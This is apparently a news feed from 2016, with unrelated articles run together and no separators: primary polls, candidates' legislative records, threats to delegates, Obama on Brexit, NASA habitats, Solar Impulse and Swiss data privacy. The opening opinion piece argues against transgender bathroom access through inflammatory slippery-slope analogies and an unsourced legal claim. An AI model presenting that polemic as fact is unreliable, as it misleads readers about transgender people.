Is Obama not just a tad concerned that his legacy will include the notion that he frittered away eight years pursuing his personal agenda while ignoring the concerns of the nation, like jobs and incomes? A list that does not, by the way, include whose face is on the twenty dollar bill?
Thursday, Donald Trump disagreed with North Carolinas bathroom bill, which makes it illegal for transgender individuals to use bathrooms they feel correspond to their gender, rather than the one corresponding to their genetic gender.

Senator Ted Cruz immediately attacked Trumps position, asking whether America has gone stark raving nuts to let men who consider themselves female to use bathrooms also being used by little girls.

The use of bathrooms by transgender individuals has come center stage in the U.S. presidential campaign for a reason: The bathroom debate is really a debate about the fundamental way we Americans will define any truthwhether as something deeply felt by an individual, or something scientifically demonstrable and verifiable.

Whether or not one believes gender reassignment therapy or surgery is wise, the cultural acceptance of biological/genetic females as male and vice-versa is tied to whether our species is willing to abandon genetics and biology as fact, in favor of considering a persons desired self-image to be fact. But, even more, I believe that that fundamental question is tied, in the minds of millions of people, to whether any evidence or data should ever be considered more sacred than closely-held opinion.

If I maintain that my self-concept is that of a black person (and Rachel Donezal does so assert, for herself) and I tattoo myself black, head-to-foot, should our culture accept me as a black man? If I apply to law school as African-American, should I be given any preference that is allowed a minority applicant?

If I maintain that my entire being tells me I am not 54-years-old, but 75-years-old (in my tastes and friendships and energy level), should I be entitled to receive Medicare? Because attorneys I have asked have told me that case law related to transgender issues would make the argument that I ought to be eligible for Medicare carry weight.

If a 25-year-old man maintains that his maturity level and sense of self make him a 13-year-old, should he be allowed to be involved sexually with other 13-year-olds?

See, if we believe that transgender individuals must use the restrooms they choose, one could argue that many of our cultural institutions must flex away from fact. And one could argue that cultural chaos will result.

These questions, after all, extend to other realms than race and age. If I were a male member of ISIS, and jailed for terrorist acts, but then insisted while incarcerated that I were a 15-year-old, female American citizen who not only has changed my opinions, but am no longer in any way the person who was convicted of terrorist acts, should I then be released?

If the German people were to vote overwhelmingly, even unanimously, to assert that the Holocaust never happened, and then were to remove any reference to it or evidence of it from their culture, should we be required to not offend them by asserting that the Holocaust did, indeed, happen?

Some readers may think that my questions are preposterous, but they make this point: Many people unconsciously recoil at the potential slippery slope that transgenderism and the bathroom bill represent.

We arent simply debating who will use which bathrooms.

Because taken to its extreme, the slippery slope I have described really could have us embracing what is asserted, rather than what is evidenced scientifically, or is historically known to be fact.

And it would then be very hard, or impossible, to plan for our countrys survival or that of our species.
If there's one thing voters have made clear this presidential primary season is that they've lost patience with "Inside the Beltway" politics -- and a look at the legislative records of this year's Republican and Democratic presidential "insider" candidates might at least partially explain why.

Nearly every contender in the 2016 race for the White House who's served in Congress has an abysmal track record of sponsoring legislation, and seeing it through. For the most part, their biggest legislative successes have come in the renaming of government buildings -- mostly post offices -- and sponsoring honorary resolutions, such as a one that marked the anniversary of the Purple Heart.

To be fair, being the lead sponsor on a piece of legislation from start to finish isnt an easy task, John Huder, a senior fellow at Georgetown Universitys Government Affairs Institute, told FoxNews.com. Even within their own party, the priorities of some members are pushed to the back.

It also really depends on the kind of legislator you want to be, Huder said.

He added that some lawmakers go to Congress to get things done -- those are the ones who arent seen splashed across the media -- while others like Sens. Bernie Sanders and Ted Cruz are often there to pull their party in a particular direction. For Sanders, its a progressive lean. For Cruz, its conservative.

A review by FoxNews.com shows the candidates with a congressional background still in the running to be president have shockingly low success rates when they look the lead on a piece of legislation.

Democratic front-runner Hillary Clinton, for example, sponsored 394 bills when she was in the Senate from 2001-2009. Of those, only six made it through the legislative process and were signed by the president, according to the congressional voting database GovTrack.us. Of the six she claimed as her own, five renamed post offices in the Empire State.

She scored a slightly weightier win with Senate Bill 1425, which amended the Safe Drinking Water Act to reauthorize the New York City Watershed Protection Program.

While Clintons congressional record is brow-raising, Bernie Sanders is even worse.

The Vermont senator, who is challenging Clinton for the Democratic nomination, started his Capitol Hill career in the House in 1991 before being elected to the Senate in 2007.

In that time, he has sponsored 362 bills- of which only three were signed by the president, giving him a success rate of 0.8 percent. Of the three he took the lead on, two involved naming post offices in Vermont while the third, Senate Bill 893, increased disability compensation rates for veterans and their families.

Its not that much better on the Republican side.

Sen. Ted Cruz, who has had plenty of personal issues with members of his own party, sponsored 67 bills since he became a senator in 2013.

Of those, only one has been signed by the president  clocking Cruzs success rate at 1.5 percent.

The Texas senator scored his lone legislative victory in 2014 when he championed legislation that denied entry to the U.S. to anyone in the United Nations who had engaged in espionage activities against the United States.

The bill, which was introduced on April 1 and signed 17 days later, was specifically intended to stop Irans proposed U.N. envoy from entering the country. Cruz had criticized Tehrans appointment of Hamid Aboutalebi as its top envoy to the United Nations in New York.

Aboutalebi was a member of the student group that led the 1979 hostage situation at the U.S. Embassy in Iran. Aboutalebi acknowledged he worked with the organization that stormed the embassy but said his role in the situation was a small one.

Aside from that, Cruz has not had much success getting legislation he has been the main sponsor on passed.

His rough history of being hammered  and ignored- by members of his own party made him a target during the GOP primaries.

In September 2015, he was rebuffed on the Senate floor by fellow Republicans who failed to allow him a roll call vote. His colleagues ignored his attempts to derail Senate Majority Mitch McConnells efforts to fund the government without attacking Planned Parenthood.

GOP front-runner and self-declared "outsider" Donald Trump picked up on the animosity, telling Cruz during a February CNN debate, You get along with nobody. You should be ashamed of yourself.

One-time Cruz challenger Sen. Rand Paul, R-Ky., who has since dropped out of the 2016 race, didnt mince words when he told Fox radio, Ted has chosen to make this really personal and chosen to call people dishonest in leadership and call them names which really goes against the decorum and also against the rules of the Senate, and as a consequence he cant get anything done legislatively.

The current candidate with the best congressional record is one who left Washington more than 15 years ago. Before becoming Ohios governor, John Kasich served in the House in 1983-2000. During that time, he sponsored 89 bills. Six of those were signed by the president, giving him a success rate of 6.7 percent.
The race for the Democratic nomination in Indiana is tight.

Hillary Clinton receives the backing of 46 percent of likely Democratic primary voters, while Bernie Sanders captures 42 percent, according to a Fox News Poll released Friday. Thats within the polls margin of error.

Clinton is preferred by voters ages 45 and over (+28 points), women (+24), and non-whites (+6).

Sanders is the pick among voters under age 45 by a whopping 51-point margin. Men (+21 points) and voters with a college degree (+5) also favor him.

"It's all about age and gender," says Daron Shaw, Republican pollster who conducts the poll with Democratic Pollster Chris Anderson.

CLICK TO READ THE POLL RESULTS

"As we move away from the South, blacks have been less critical for Clinton's success and women have become more important."

Most Clinton (87 percent) and Sanders supporters (78 percent) have a high degree of vote certainty. Still, one in five of those backing Sanders says they could change their mind (21 percent).

The Indiana primary is May 3.

The poll also asked voters to think about November. If its between Clinton and Donald Trump, most Democratic primary voters say they would be happy with those two options (73 percent). However, one in four says they would either consider voting for a third party candidate (20 percent) or wouldnt vote (five percent). Among Sanders supporters, that number increases to 41 percent saying they wouldnt back Clinton as the nominee.

The Fox News Poll is conducted under the joint direction of Anderson Robbins Research (D) and Shaw & Company Research (R). The telephone poll (landline and cellphone) was conducted April 18-21, 2016, with live interviewers among a random sample of 1,205 Indiana voters selected from a statewide voter file (plus or minus 2.5 percentage points). Results for the 603 likely Democratic primary voters have a margin of sampling error of plus or minus four points.
Will Indiana give Donald Trump a big victory like its neighbors Michigan and Illinois? Or will it boost Ted Cruz with a Wisconsin-style double-digit win?

Hoosiers may just split the difference, according to a new Fox News Poll.

Trump is ahead of Cruz by an eight-point margin among Indiana likely Republican primary voters: 41-33 percent. Thats at the edge of the polls plus or minus four point margin of sampling error. John Kasich comes in third with 16 percent.

CLICK TO READ THE POLL RESULTS

Men are the key to Trumps advantage. He receives 44 percent to Cruzs 33 percent, while Kasich takes 13 percent.

Among women, Trump ekes out a three-point edge (36-33 percent), while 20 percent back Kasich.

Cruz is preferred over Trump among self-described very conservative GOP primary voters (46-35 percent).

The vote among white evangelical Christians splits: 41 percent Cruz vs. 39 percent Trump. This stands in sharp contrast to nearby Wisconsin, where the Fox News exit poll showed Cruz winning this group by a wide 22-point margin (55-33 percent).

GOP voters without a college degree go heavily for Trump (+16 points), while college grads back Cruz by a narrow one-point margin.

"There hasn't been much polling in Indiana, and Trump's showing may be a surprise to some," says Daron Shaw, Republican pollster who works on the Fox News Poll with Democratic Pollster Chris Anderson.

"But the political and demographic make-up of Indiana holds promise for both Cruz and Trump, and that shows in the data."

Kasich (27 percent) and Cruz (24 percent) come out on top when GOP primary voters are asked their second-choice candidate. When first- and second-choice preferences are combined, its a squeaker: 58 percent Trump and 57 percent Cruz.

And without Kasich in the race, its 44 percent Trump vs. 42 percent Cruz.

The Indiana electorate is still in flux: one in four says they could change their mind (25 percent).

Kasich (38 percent) and Cruz supporters (29 percent) are more likely than Trump supporters (17 percent) to say they could end up backing a different candidate.

Among those backing Trump, 81 percent feel certain they will vote for him, while 70 percent of Cruz supporters and 59 percent of Kasich supporters say the same.

If its Hillary Clinton vs. Donald Trump in the fall, 42 percent of those backing Cruz say they would vote for a third party candidate or not at all. By comparison, if its Cruz against Clinton, 48 percent of Trump supporters would vote third party or stay home.

The Fox News Poll is conducted under the joint direction of Anderson Robbins Research (D) and Shaw & Company Research (R). The telephone poll (landline and cellphone) was conducted April 18-21, 2016, with live interviewers among a random sample of 1,205 Indiana voters selected from a statewide voter file (plus or minus 2.5 percentage points). Results for the 602 likely Republican primary voters have a margin of sampling error of plus or minus four percentage points.
OKLAHOMA CITY, Okla.  Once they were done hearing about Oklahoma Citys renaissance Thursday morning, the Billings Chamber of Commerce contingent wasted little time moving to a discussion about how to start doing similar things in Billings.

If we focus on the what, the how is going to come, said Harvey Singh of Singh Contracting and Outward Media Group.

This town hit rock bottom, said Rocky Mountain College President Bob Wilmouth, referring to Oklahoma City. Where are we right now? Do we want to get better? I hope everybody is on that same page. If we want to get better, we have to change. Egos and politics have to be left at the door, and thats tough, man.

This city has taken a proactive approach to remove the barriers, and that is the biggest takeaway, said Jim Duncan, Billings Clinic Foundation president. They didnt focus on potholes. Its about what they wanted, not what they needed. They wanted to make the community better, and they took the community to a different level.

We all want Billings to be the best it can be, but tough conversations have to happen, said Billings Chamber of Commerce President and CEO John Brewer, who organized the chambers second aspirational visit with the help of staffers. We have to have those conversations, resolve the issues and move on.

Pursuing quality of life amenities like Oklahoma City and Sioux Falls, S.D., have shouldn't have to wait for a local option tax, Brewer said. The state Legislature must change the law to allow cities to decide whether to enact a local option tax.

I know that will happen. Its just a matter of time, Brewer said.

More immediate projects could be strengthening the chambers government relations outreach, helping improve worker skills, protecting complete streets development and the shared importance of our ballpark and what a lure that is," Brewer said.

Those are in our control immediately, Brewer said.

Regressing is unacceptable, said ZooMontana Executive Director Jeff Ewelt, whos been a leader in the chambers Next Gen initiative since the Sioux Falls aspirational visit in 2014.

Ewelt urged new candidates to throw their hats into whatever political race they fancy.

We need the right people on the bus who arent afraid to take the next steps forward, he said.

We have some of those people in the room right now, said Kris Carpenter, owner of Sanctuary Spa, The Joy of Living and The Joy of Kids and a member of the chambers executive committee. The measure of how well we do will be the number of young people who want to come to our community. Lets start talking about what we want instead of what we dont want.

Jeff Walters of Vortex Consulting Group, who chairs the chamber board, asked the 30-member group to think about the answers to some of the questions we proposed today  about who we want to be, what are the barriers and how can we break the barriers down. I appreciate everyones investment, because I think thats a catalyst for change. We have the right people at the table.

After Billings attorney Bill Cole reminded the group it had been addressed by Oklahoma City professionals whose job it is to sell their city, Brewer had a tongue-in-cheek idea for the next aspirational tour, scheduled for 2018.

The next tour will be the underbelly tour, Brewer said with a grin. Well go somewhere where they got it all wrong.

Getting the message across

Earlier in the morning, the group heard from David Rainbolt, the CEO of Bancfirst who chairs the Oklahoma City chamber board, and Mark Van Landingham, the chambers senior vice president for government relations.

Each year, Van Landingham said, the chamber produces a booklet that outlines legislative goals for the year.

The chamber is agile enough to deal with legislative issues as they come up, Van Landingham said. That played out in real time Thursday when chamber officials opposed a proposal by the National Rifle Association and passed by the Oklahoma Senate on Wednesday to allow people to openly carry firearms without a permit and without training.

Businesses, including the Oklahoma City Thunder and the chamber, expressed fear the law could jeopardize safety at large money-making events in the Sooner State.

Most Oklahomans dont want to take on Second Amendment rights, Rainbolt said, But we are an enticing playground for the NRA to show what they can get passed in the Oklahoma Legislature.

At the capital, you have to be present to win, Van Landingham said, And we are. We survey our top 400 investors every year to get a good idea of whats important, and we meet with stakeholders before we put together our legislative agenda, which I write. We base it on what I think is achievable, and the (chambers) executive committee brings some sanity to the process by getting the things out that dont need to be there.

Billings leaders said they were glad they took the whirlwind trip, which began Tuesday afternoon for most attendees and concluded Thursday morning.

I thought the trip was extremely beneficial, Billings Mayor Tom Hanel said. It was an opportunity to see what can be accomplished with positive attitude and community buy-in. But it cant be accomplished without funding.

Hanel said he believes ultrconservatism in local government will hold you back, and he expressed an interest in building a stronger relationship with the chamber.

We can come together better, he said, and we can accomplish so much more.
President Obama, speaking to reporters in London Friday, defended his prior comments urging British voters to remain in the European Union, following scathing criticism that he was meddling in the U.S. ally's affairs.

I dont believe the E.U. moderates British influence in the world, it magnifies it, Obama said at a press conference at 10 Downing Street, alongside British Prime Minister David Cameron.

In recent days Obama has provoked ire from some British lawmakers for getting involved in the Brexit debate  earning him the title of most anti-British American president there has ever been.

I dont believe the E.U. moderates British influence in the world, it magnifies it.  President Obama

Brexit refers to Britains possible exit from the European Union. Britain is set to have a referendum this summer on whether to remain in the 28-member bloc. If a majority votes to leave it, Britain will exit.

The E.U. has helped to spread British values and practices across the continent, Obama said, adding that the single market brings extraordinary economic benefits to the United Kingdom.

He cast a grim picture of the economic stakes, saying flatly that the U.S. would not rush to write a free trade deal with a newly independent Great Britain.

"Let me be clear, ultimately this is something that the British voters have to decide for themselves but ... part of being friends is to be honest and to let you know what I think," he said. "It affects our prospect as well. The United States wants a strong United Kingdom as a partner."

Obama spoke on the first day of a three-day visit to London, likely the last of this presidency. The visit comes two months before a June referendum on leaving the union.

Polls suggest it will be a close-fought race, with most phone surveys indicating a lead for the Remain campaign while some online polls put the Leave camp ahead.

Obama described the votes as potentially damaging to the British economy. He said the U.S. is focused on writing a massive trade agreement with the European Union and would not prioritize a bilateral agreement with the UK. Britain would have to get "in the back of the queue," he said.

As he landed Thursday night, the president laid out his arguments in an op-ed in a London newspaper, harkening back to the "special relationship" forged by wartime allies President Franklin Roosevelt and Prime Minister Winston Churchill. With that special status comes with leeway to interfere, Obama argued, writing that he was offering his thoughts with the "candor of a friend."

Obama's candor wasn't universally appreciated. In increasingly heated language, critics accused Obama of meddling in British business. London Mayor Boris Johnson, head of the Leave campaign, called Obama's advice "paradoxical, inconsistent, incoherent" and suggested Obama's background played a role.

Writing in The Sun newspaper, Johnson recounted a claim that a bust of former British Prime Minister Winston Churchill was removed from the Oval Office after Obama was elected and returned to the British Embassy. The White House has said that a different Churchill bust is still in a prominent place in the presidential residence.

Johnson wrote that some said removing one of the busts "was a symbol of the part-Kenyan president's ancestral dislike of the British Empire, of which Churchill had been such a fervent defender."

Obama's late father was from Kenya, a former British colony that gained independence in the 1960s.

Obama has remained a broadly popular figure in Britain. In June 2015, three-quarters of Britons told pollsters they had confidence in his judgment on world affairs, according to a Pew Research survey.

That goodwill hasn't kept Britons in breaking from U.S. at key moments. In 2013, as Obama leaned on Cameron to join in threatened airstrikes in Syria, the House of Commons rejected the idea.

There have been other recent signs of stress on the relationship. British officials bristle over Obama's recent comments in the Atlantic magazine, in which he said he regretted trusting Europeans to stabilize Libya after the 2011 death of strongman Muammar Qaddafi. He specifically said Cameron had become "distracted by a range of other things" while Libya devolved into chaos.

The Associated Press contributed to this report.
With Donald Trumps overwhelming victory in New York killing off Ted Cruzs chances of being able to attain a 1,237 majority of delegates before Julys GOP convention, the Texas senator is casting his hopes on a contested convention  where most delegates will be unbound by the second ballot and able to vote as they choose.

But there are risks to that strategy.

Even if Cruz is able to force a contested convention by keeping Trump from reaching the magic 1,237 number, he is counting on delegates both having the strength to vote to reject Trump in the face of significant pressure from the campaign and Trump supporters, and then moving to Cruz after they are unbound.

While the strategy seems to have its merits, the question of whether delegates will back him could be complicated by recent threats made to both GOP party officials and delegates themselves, allegedly by Trump supporters.

Colorado GOP Chairman Steve House received death threats after the states convention, in which Cruz locked up the support of most of the delegates. House said that he received thousands of angry calls from Trump supporters, with some threatening his family, angry about the way the delegates are selected. He has referred the matter to the police.

Earlier this month, Trump adviser Dan Scavino posted the Tennessee GOP Chairman Ryan Haynes cell phone number on Twitter, telling supporters to Let him know you support the TRUMP delegates! and accusing Haynes of wanting to STEAL your vote TODAY.

Haynes told Politico he nearly canceled the delegate selection meeting after receiving a firestorm of abuse and threats.

But the threats have extended beyond just GOP officials. Politico reported Thursday that Craig Dunn, an Indiana delegate who criticized Trump, received a note warning traditional burial is polluting the planet that said ominously we are watching you.

Dunn, a Kasich supporter, told the outlet hes most nervous about exiting the convention arena in the moments after a potential Trump loss.

Thats where theres the greatest prospect for danger, he said. I dont see myself walking outside the convention with a Kasich badge.

Dunn was one of at least four Indiana delegates who received disturbing messages  some of which have been investigated by police, Politico reported.

The billionaire frontrunner has done little to dissuade supporters from making such threats. In March he said I think youd have riots if the party attempted to block his nomination.

The threats raise the question of whether delegates  many of whom have little-to-no experience of the white hot intensity of national politics  may feel unable to vote their conscience.

Officials in Cleveland say that they are working hard to secure a safe convention and planning is well underway." RNC spokeswoman Alee Lockman told FoxNews.com the Secret Service is taking the lead.

The Cleveland Department, Cuyahoga County Sheriff, the FBI and other security agencies are working closely with the Secret Service relative to developing the security plan for the Convention, Lockman said. There are Secret Service agents on the ground in Cleveland and they are making good progress.

Local branches of the GOP expressed their confidence that delegates will not be harassed. Kyle Kohli, a spokesman for the Colorado GOP, told FoxNews.com that there had been a recent call with convention staff on the very issue of security for delegates.

The security is so good in Cleveland that theres not going to be a notion of threatening appearances at hotel rooms, as Secret Service and convention staff are going to be so well organized, Kohli said.

The city of Cleveland is also making preparations, spending over $800,000 on riot-control suits and batons for police working during the convention amid fears of rioting and violence, Cleveland.com reported.

Kohli said there was little officials could do about threats to delegates on social media.

Thats going to be there one way or another. Its not something were overly concerned about, we think our delegates will be secure and will exercise good judgment and not be influenced by either stuff online or people showing up, Kohli said.

Taylor Mason, spokesman for the Iowa GOP, echoed Kohlis sentiments and said they werent too worried about delegates being swayed.

People in Iowa are not really easily scared, Mason said. [Threats] wouldnt be a deterrent.

A spokeswoman for the Pennsylvania GOP also told FoxNews.com they have no concerns about the convention.

The Cruz and Trump campaigns did not respond to requests for comment from FoxNews.com. But in March, the Trump campaign told FoxNews.com they are in the process of trying to woo as many unbound delegates as possible ahead of the convention.

The unbound ones were going after pretty strongly, Barry Bennett, a senior adviser to the Trump campaign, said. We arent going to waste resources on them, but if youre 'wooable' we plan to woo.

Bennett also raised the possibility that delegates who are lined up behind Cruz could fall to the wayside once the convention starts, at which point his support will evaporate as they line up behind a more moderate candidate such as Ohio Gov. John Kasich.

"This is where I think Cruz is being taken for a ride," Bennett said. "The establishment is using him because they want to get to the second ballot, and then they'll pretend they've never heard of him."

Kasich could also cause problems among some unbound delegates for Cruz. In Pennsylvania, where a primary is held Tuesday, delegates are not bound to any candidate either, but Cruzs campaign has been working hard behind the scenes to get his people in place.

However, there is some high-level support for Kasich in the Pennsylvania GOP  including former Gov. Tom Ridge and national GOP committeeman Bob Asher  and that creates the potential that a bloc of delegate votes will favor Kasich.

The Associated Press contributed to this report.
Republican Donald Trump holds a big lead in California, in a new Fox News Poll, while Hillary Clinton has a razor-thin edge over Bernie Sanders in the Democratic race.

Trump captures 49 percent of likely Republican primary voters. Thats more than the combined support for his two remaining competitors: Ted Cruz receives 22 percent and John Kasich 20 percent.

The mogul leads his rivals by a wide margin among every demographic group, including those he sometimes has trouble capturing: women, young voters, college graduates, and very conservatives.

Clinton is up by just two points over Sanders among California likely Democratic primary voters (48-46 percent).

CLICK TO READ THE POLL RESULTS

A couple things are in Clintons favor. Among the subgroup of those saying they will definitely vote, her advantage increases to six points. Plus, support for Sanders is somewhat softer: 21 percent of his backers say they could change their mind compared to 14 percent of Clintons.

The gender gap persists. Men break for Sanders by 22 points (58-36 percent), while women favor Clinton by 25 (59-34 percent).

Meanwhile, the Vermont senator continues to receive strong support from younger voters (+56 points among voters under age 35), while Clinton remains popular with seniors (+37 points among voters ages 65+).

Sanders has a 19-point advantage among Hispanics. He won Hispanics in Nevada and Illinois according to Fox News exit polling, while they went for Clinton in Florida, New York, and Texas.

What if its ultimately a Clinton-Trump matchup in November? Some 45 percent of Sanders supporters say they would either consider voting for a third-party candidate or not vote at all.

Same story on the Republican side. Only 53 percent of Cruz and Kasich supporters say they would vote for Trump in the general election. Instead, a large 42-percent minority would consider a third-party candidate or not vote rather than cast a ballot for Trump or Clinton.

Cruz would do a tad bit better than Trump at keeping the party faithful, faithful. If its Clinton-Cruz in November, 56 percent of non-Cruz supporters would vote for him against Clinton, while 40 percent wouldnt.

The Texas senator is helped by the fact that Kasich supporters are more likely to say hes their second-choice candidate by a 20-point margin.

That could help Cruz in the primary as well, because more than one third of Kasich backers say their vote choice isnt locked in (35 percent). One quarter of Trump supporters (25 percent) and Cruz supporters (24 percent) say they could still change their mind.

The California primary is June 7.

Pollpourri

Immigration -- a hot topic in the Golden State. The poll asked California primary voters what should happen to illegal immigrants who are currently working in the United States.

By a 75-17 percent margin, they favor setting up a system for legalization rather than deportation.

Over half of Republican primary voters prefer finding a way to legalize illegal immigrants working here (59-30 percent), and almost all Democrats agree (90 percent system to legalize vs. 5 percent deport).

The Fox News Poll is conducted under the joint direction of Anderson Robbins Research (D) and Shaw & Company Research (R). The telephone poll (landline and cellphone) was conducted April 18-21, 2016, with live interviewers among a random sample of 1,206 California voters selected from a statewide voter file (plus or minus 2.5 percentage points). Results for the 623 likely Democratic primary voters and the 583 likely Republican primary voters have a margin of sampling error of plus or minus four percentage points.
Republican presidential front-runner Donald Trump's top lieutenants told skeptical GOP leaders Thursday that their candidate has been "projecting an image" so far in the 2016 primary season and "the part that he's been playing is now evolving" in a way that will improve his standing among general election voters.

In a recording of the closed-door meeting obtained by the Associated Press, Trump's newly hired senior aide, Paul Manafort, made the case to Republican National Committee members that Trump has two personalities: one in private and one onstage.

"When he's out on the stage, when he's talking about the kinds of things he's talking about on the stump, he's projecting an image that's for that purpose," Manafort said, adding "You'll start to see more depth of the person, the real person. You'll see a real different guy."

Manafort said Trump had acknowledged the need to moderate his personality ahead of a possible general election campaign.

"The part that he's been playing is evolving into the part that now you've been expecting, but he wasn't ready for, because he had first to complete the first phase" he claimed. "The negatives will come down. The image is going to change."

The message was welcomed by some party officials but criticized by others who suggested it raised doubts about his authenticity.

"He's trying to moderate. He's getting better," said former presidential candidate Ben Carson, a Trump ally who was part of the GOP's front-runner's RNC outreach team.

While Trump's top advisers were promising Republican leaders that the GOP front-runner would moderate his message, the candidate was telling voters he wasn't ready to act presidential.

"I just don't know if I want to do it yet," Trump said during a raucous rally in Harrisburg, Pennsylvania, Thursday that was frequently interrupted by protesters.

"At some point, I'm going to be so presidential that you people will be so bored," he said, predicting that the size of his crowds would dwindle if he dialed back his rhetoric.

As Trump continues to rail against "a rigged" nomination process, he sent Manafort and his newly hired political director, Rick Wiley, to help improve relationships with party officials at the RNC's spring meeting in Hollywood, Fla.

"He might not win some of these blue states, but you can make the Democrats spend money and time," Wiley said.

Trump's team also signaled to RNC members a fresh willingness to dip into the New York real estate mogul's personal fortune to fund his presidential bid, in addition to helping the national committee raise money, a promise that comes just as Trump launches his first big television advertising campaign in a month.

His campaign reserved about $2 million worth of air time in soon-to-vote Pennsylvania and Indiana, advertising tracker Kantar Media's CMAG shows.

"He's willing to spend what is necessary to finish this out. That's a big statement from him," Manafort said in the briefing.

Trump is increasingly optimistic about his chances in five states holding primary contests Tuesday: Rhode Island, Connecticut, Pennsylvania, Delaware and Maryland. He is now the only Republican candidate who can possibly collect the 1,237-delegate majority needed to claim the nomination before the party's July convention.

Chief rival Ted Cruz hopes Trump will fall short of a nomination-clinching delegate majority so that he can turn enough delegates to his side at the convention to give him the prize.

The political posturing came as Trump sparked new criticism by addressing the debate over which bathrooms transgender people should use.

Speaking at a town-hall event on NBC's "Today" show Thursday, Trump said North Carolina's bathroom law has caused unnecessary strife and transgender people should be able to choose which bathroom to use.

"There have been very few complaints the way it is," Trump said. "People go, they use the bathroom that they feel is appropriate."

Cruz lashed out at Trump's "support of grown men using women's restrooms." The Texas senator called Trump's position "a reckless policy that will endanger our loved ones."

Trump also said the plan to swap Jackson for Tubman on the $20 bill is an act of "pure political correctness." He and Carson have both suggested putting Tubman on the $2 bill instead.

The Associated Press contributed to this report.
Inspired by The Martian? NASA could use your help.

The space agency on Wednesday announced it needs help building "deep space habitats that will give astronauts a place to call home during long-duration missions" like a journey to Mars. If you're up for the challenge, NASA is now seeking proposals for prototypes.

"NASA's Orion crew spacecraft and Space Launch System are the agency's first major components for establishing a human presence in deep space," the agency wrote in its announcement. "With these transportation systems progressing toward their maiden flight in 2018, NASA now is looking toward investments in deep space habitation  the next major component of human space exploration beyond low-Earth orbit."

Successful proposals will include plans "for an evolvable approach to long-duration deep space habitation and the development of full-size, ground prototype habitat units no later than 2018," NASA said.

Applicants from U.S. companies, universities, and nonprofits can submit their proposals electronically by 5 p.m. ET on June 15. Interested parties will have an opportunity to ask NASA questions about what it's looking for during a meeting at 11 a.m. on Monday, April 25.

The solicitation comes after the agency in October 2014 first requested industry proposals "for concept studies and technology development projects in the areas of habitation, advanced propulsion and small satellites" as part of its Next Space Technologies for Exploration Partnerships (NextSTEP) program. Now, with phase 2 of the program, NASA is providing an opportunity for additional contractors to join the party.

"NASA is increasingly embracing public-private partnerships to expand capabilities, and opportunities in space," Jason Crusan, director of the space agency's Advanced Exploration Systems Division, which sponsors NextSTEP, said in a statement. "Our NextSTEP partners commit their own corporate resources toward the development  making them a true partner in the spaceflight economy."

This article originally appeared on PCMag.com.
Two pilots are slowly carving their way into a new future of solar-powered flight as one embarks on the latest leg of their around-the-world journey in a plane powered only by the sun.



After some uncertainty about winds, the Solar Impulse team took off from Hawaii on Thursday, and hours later it was still ascending over the Pacific attempting to reach a high altitude before night sets in.



The Swiss-made Solar Impulse 2 was on course to land in Mountain View, Calif., in about three days. The crew that helped it take off was clearing out of its Hawaiian hangar and headed for the mainland for the weekend arrival.



The aircraft landed in Hawaii in July and was forced to stay in the islands after the plane's battery system sustained heat damage on its trip from Japan.



The aircraft started its journey in March 2015 from Abu Dhabi, the capital of the United Arab Emirates, and made stops in Oman, Myanmar, China and Japan. It's on the ninth leg of its circumnavigation.



Pilot Bertrand Piccard, who is flying the latest leg of the trip, said the idea of crossing the ocean in a solar-powered plane a few years ago stressed him out, but Thursday he was confident things would go according to plan.



Piccard also said the destination in the heart of Silicon Valley is fitting. He said on his way to the airfield that the plane will land "in the middle of the pioneering spirit."



Piccard's co-pilot Andre Borschberg, who flew the leg from Japan to Hawaii, told Piccard he greatly admires his dedication and strength.



He said the plane "represents what we could do on the ground in our communities."



The team was delayed in Asia, as well. When first attempting to fly from Nanjing, China, to Hawaii, the crew had to divert to Japan because of unfavorable weather and a damaged wing.



A month later, when weather conditions were right, the plane departed from an airport in Nagoya in central Japan for Hawaii.

The trans-Pacific leg is the riskiest part of the plane's global travels due to the lack of emergency landing sites.



The plane's ideal flight speed is about 28 mph, though that can double during the day when the sun's rays are strongest. The carbon-fiber aircraft weighs more than 5,000 pounds, or about as much as a midsize truck.



The wings of Solar Impulse 2, which stretch wider than those of a Boeing 747, are equipped with 17,000 solar cells that power propellers and charge batteries. The plane runs on stored energy at night.


Swiss Alps, Swiss banks  Swiss privacy?

With rising international concern about data privacy, Switzerland is positioning itself as the best country for data privacy. There are several strong arguments in favor of it: The Swiss constitution and laws are on your side, for one thing. Switzerland's political independence from the European union has wide-ranging implications. Add the Swiss reputation for privacy and, if you want to keep your data secure, Switzerland may be your best bet, according to a report by The Daily Dot.

To start with, Switzerland is uniquely independent. Because it's not an EU member, Switzerland is not bound by EU rules or potential data privacy agreements between the U.S. and the EU. Data privacy is protected by Article 13 of the Swiss Constitution, with ramifications beyond European Union rules. Also, EU authorities cannot enforce their laws within Swiss borders.

Related: Microsoft says US should follow EU data privacy laws

Article 13 is short and simple -- it only has two sections. Section 1 states, "Every person has the right to privacy in their private and family life and in their home, and in relation to their mail and telecommunications." Section 2 reads, "Every person has the right to be protected against the misuse of their personal data." It's significant that in Switzerland, unlike the EU and many other countries, there is no differentiation between personal and business data. Privacy rights cover both personal and business data.

It's hard to get Swiss courts to grant access to data to government agencies. In many countries, a court ruling to grant agency access to data may be issued in private with no opportunity for the data's owner to object. In Switzerland, however, the person whose data is being sought must be notified ahead of time and given a chance to fight the access in court.

Related: New FCC rules will tighten the reins on how ISPs track you

Since World War II, Switzerland has built bunkers and underground tunnels. Many of these tunnels have been re-purposed for secure data storage impervious to weather and protected from attacks. Following Edward Snowden's disclosures about NSA surveillance in 2013, Switzerland's data storage business has grown.

Finally, to top it all off, in addition to its legal and physical protection Switzerland is being marketed. Vigiswiss, an active trade group of data companies, is actively promoting the country as the "world's safe haven for data."
"Will my family be safe?"

Everywhere I go people have the same question about travel this spring and summer.

At the moment, there is a U.S. Department of State travel alert for Europe throughJune 20. Terrorist groups continue to plan near-term attacks throughout Europe, targeting sporting events, tourist sites, restaurants and transportation, the State Department warns. The New York Times, meanwhile, reports that since the assaults in Paris last November, officials now know that the Islamic State's European operations are larger than first thought, and Britain, Germany and Italy are high on the list of targets.

Zika Virus, meanwhile is now across theCaribbean, in Mexico in popular Central American destinations like Costa Rica andPanama and South America, where the 2016 Olympics will be held in Rio. The Centers for Disease Control and Prevention especially warns pregnant women, and those trying to become pregnant, as Zika, transmitted primarily through infected Aedes mosquitoes, has been shown to cause devastating birth defects. The virus can cause fever, rash, joint pain and conjunctivitis, but some of those who become infected won't even know they have it. So far, there are no long-term effects for children. There is also no vaccine, so all you can do is try to avoid getting bitten.

